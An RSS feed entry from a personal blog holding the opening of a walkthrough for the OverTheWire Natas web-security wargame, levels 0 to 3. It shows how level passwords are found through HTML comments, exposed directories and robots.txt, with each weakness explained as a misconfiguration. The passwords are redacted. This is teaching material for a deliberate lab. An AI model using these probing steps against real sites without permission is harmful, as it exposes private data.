<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
      <title>cblanken.dev - Blog</title>
      <link>https://www.cblanken.dev/blog/</link>
      <description></description>
      <generator>Zola</generator>
      <language>en</language>
      <atom:link href="https://www.cblanken.dev/blog/rss.xml" rel="self" type="application/rss+xml"/>
      <item>
          <title>OverTheWire - Natas</title>
          <pubDate>Tue, 31 Dec 2024 00:00:00 +0000</pubDate>
          <author>Cameron Blankenbuehler</author>
          <link>https://www.cblanken.dev/blog/overthewirenatas/</link>
          <guid>https://www.cblanken.dev/blog/overthewirenatas/</guid>
          <description xml:base="https://www.cblanken.dev/blog/overthewirenatas/">&lt;h2 id=&quot;introduction&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#introduction&quot; aria-label=&quot;Anchor link for: introduction&quot;&gt;Introduction&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;wargames&#x2F;natas&#x2F;&quot;&gt;Natas wargame&lt;&#x2F;a&gt; is another&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-1-1&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;
wargame hosted by OverTheWire. This one focuses on web security.&lt;&#x2F;p&gt;
&lt;p&gt;In this walkthrough I’m going to show the process for solving each challenge
and try to provide some insight into what each challenge is trying to teach
and why it’s useful, so keep an eye out for callouts like those below.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;Each Natas level is accessible via browser at the specified URL for the level.
For example, the level 0 url is:
&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;natas0.natas.labs.overthewire.org&quot;&gt;http:&#x2F;&#x2F;natas0.natas.labs.overthewire.org&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote class=&quot;markdown-alert-warning&quot;&gt;
&lt;p&gt;If you’re looking for the solution of a particular level, you are highly
encouraged to attempt it on your own before following this walkthrough. You
will learn some useful things regardless, but attempting each level on your own
first will help the knowledge stick better. I promise.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#prerequisites&quot; aria-label=&quot;Anchor link for: prerequisites&quot;&gt;Prerequisites&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The solutions for each level will be illustrated with numerous screenshots, so
you won’t need any other tools to just read along. However, if you’d like to
have a better understanding of what’s going on, you may want to familiarize
yourself with a few things.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The basics of HTML and PHP will be quite important. If you’re familiar with
another programming language you can probably follow along with any
challenges that require PHP without too much trouble though.&lt;&#x2F;li&gt;
&lt;li&gt;The browser dev tools. Specifically for Chrome&#x2F;chromium browsers, though
everything we do in this walkthrough should also be possible via the dev
tools for other browsers like Firefox, Opera, etc. If you’d like an
introduction check out this &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;docs&#x2F;devtools&#x2F;overview&quot;&gt;overview of the Chrome
devtools&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Knowledge of HTTP will be essential for several levels and is somewhat of a
prerequisite to effectively use the web proxies mentioned next.&lt;&#x2F;li&gt;
&lt;li&gt;A web proxy. &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.zaproxy.org&quot;&gt;Zed Attack Proxy (ZAP)&lt;&#x2F;a&gt; and
PortSwigger’s &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;portswigger.net&#x2F;burp&#x2F;communitydownload&quot;&gt;Burp Suite&lt;&#x2F;a&gt;
are the most popular ones. Either will suffice, but I’ll be demonstrating the
solutions in this walkthrough with ZAP wherever a proxy is needed.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;That’s it. Enjoy the walkthrough!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;walkthrough&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#walkthrough&quot; aria-label=&quot;Anchor link for: walkthrough&quot;&gt;Walkthrough&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;level-0&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-0&quot; aria-label=&quot;Anchor link for: level-0&quot;&gt;Level 0&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Most of the levels of Natas begin with some kind of hint, links to other pages,
or an interactive form.&lt;&#x2F;p&gt;
&lt;p&gt;For example, the level 0 home page shows a hint.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;0_hint.png&quot; alt=&quot;level 0 hint&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The first step in examining any web application should always include viewing
the source code. Use the keyboard shortcut &lt;code&gt;Ctrl-U&lt;&#x2F;code&gt; or right click the page and
select “View page source” to view the source code of the page. This will give
you insight into what content is on the page, what other resources are used by
the page like Javascript and CSS files and links to other resources available
on the website.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;natas0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;You can find the password for the next level on this page.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&amp;lt;!--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;The password for natas1 is REDACTED &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;--&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The source code for the level 0 home page clearly shows the password for &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirenatas&#x2F;#level-1&quot;&gt;level
1&lt;&#x2F;a&gt; as an HTML comment.&lt;&#x2F;p&gt;
&lt;p&gt;While direct data disclosure on a web page like this isn’t overly abundant, it
can still be found in the wild&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-2-1&quot;&gt;&lt;a href=&quot;#fn-2&quot;&gt;2&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; and should always be considered when
examining a web application for vulnerabilities.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-1&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-1&quot; aria-label=&quot;Anchor link for: level-1&quot;&gt;Level 1&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;This challenge is similar to the last one. The hint provided even mentions that
“rightclicking” is blocked now.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;1_hint.png&quot; alt=&quot;level 1 hint&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To bypass this, the keyboard shortcut &lt;code&gt;Ctrl-U&lt;&#x2F;code&gt; mentioned earlier can be used to
view the source. Once again, the password is clearly shown in an HTML comment.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; oncontextmenu&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;javascript&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8BA4B0);&quot;&gt;alert&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;right clicking has been blocked!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;return&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;natas1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;You can find the password for the&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;next level on this page, but rightclicking has been blocked!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&amp;lt;!--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;The password for natas2 is REDACTED &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;--&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-2&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-2&quot; aria-label=&quot;Anchor link for: level-2&quot;&gt;Level 2&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Level 2 doesn’t provide much information, but examining the page’s source will
give some insight into solving this level.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;2_hint.png&quot; alt=&quot;level 2 hint&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;natas2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;14&lt;&#x2F;span&gt;&lt;span&gt;There is nothing on this page&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;img&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; src&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;files&#x2F;pixel.png&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In addition to the message stating there’s nothing on this page, there is an
&lt;code&gt;&amp;lt;img&amp;gt;&lt;&#x2F;code&gt; tag linking to an image file at &lt;code&gt;&#x2F;files&#x2F;pixel.png&lt;&#x2F;code&gt;. Most importantly,
this link indicates some files are being served by the web server under the
&lt;code&gt;&#x2F;files&lt;&#x2F;code&gt; directory.&lt;&#x2F;p&gt;
&lt;p&gt;Navigating to this endpoint at
&lt;code&gt;http:&#x2F;&#x2F;natas2.natas.labs.overthewire.org&#x2F;files&#x2F;&lt;&#x2F;code&gt; shows some interesting files.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;2_files_dir.png&quot; alt=&quot;level 2 file directory&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Besides the image file, there is also a text file &lt;code&gt;users.txt&lt;&#x2F;code&gt;. This file
reveals the password for the next level.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;2_password.png&quot; alt=&quot;level 2 next password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This kind of vulnerability would most likely be classified as a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;Top10&#x2F;A05_2021-Security_Misconfiguration&#x2F;&quot;&gt;security
misconfiguration&lt;&#x2F;a&gt;.
Clearly the &lt;code&gt;users.txt&lt;&#x2F;code&gt; should not be accessible. Access should be blocked by
the web server or at least restricted to particular users.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-3&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-3&quot; aria-label=&quot;Anchor link for: level-3&quot;&gt;Level 3&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Once again, the home page doesn’t reveal much at first glance. Let’s look at
the source.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;natas3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;There is nothing on this page&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&amp;lt;!--&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; No more information leaks!! Not even Google will find it this time... &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;--&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This time, the HTML comment provides a subtle clue. It mentions that “[n]ot
even Google will find it” which is hinting at something called a
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Robots.txt&quot;&gt;&lt;code&gt;robots.txt&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; file which contains a
list of directories and files that should be ignored by web crawlers. Search
engines like Google and Bing use the &lt;code&gt;robots.txt&lt;&#x2F;code&gt; file to determine which files
and directories they shouldn’t be indexing.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;robots.txt&lt;&#x2F;em&gt;
&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;3_robots_txt.png&quot; alt=&quot;level 3 robots.txt&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In this case, there is only a single directory &lt;code&gt;&#x2F;s3cr3t&lt;&#x2F;code&gt; being disallowed.
Navigating to that directory reveals a single file, &lt;code&gt;users.txt&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
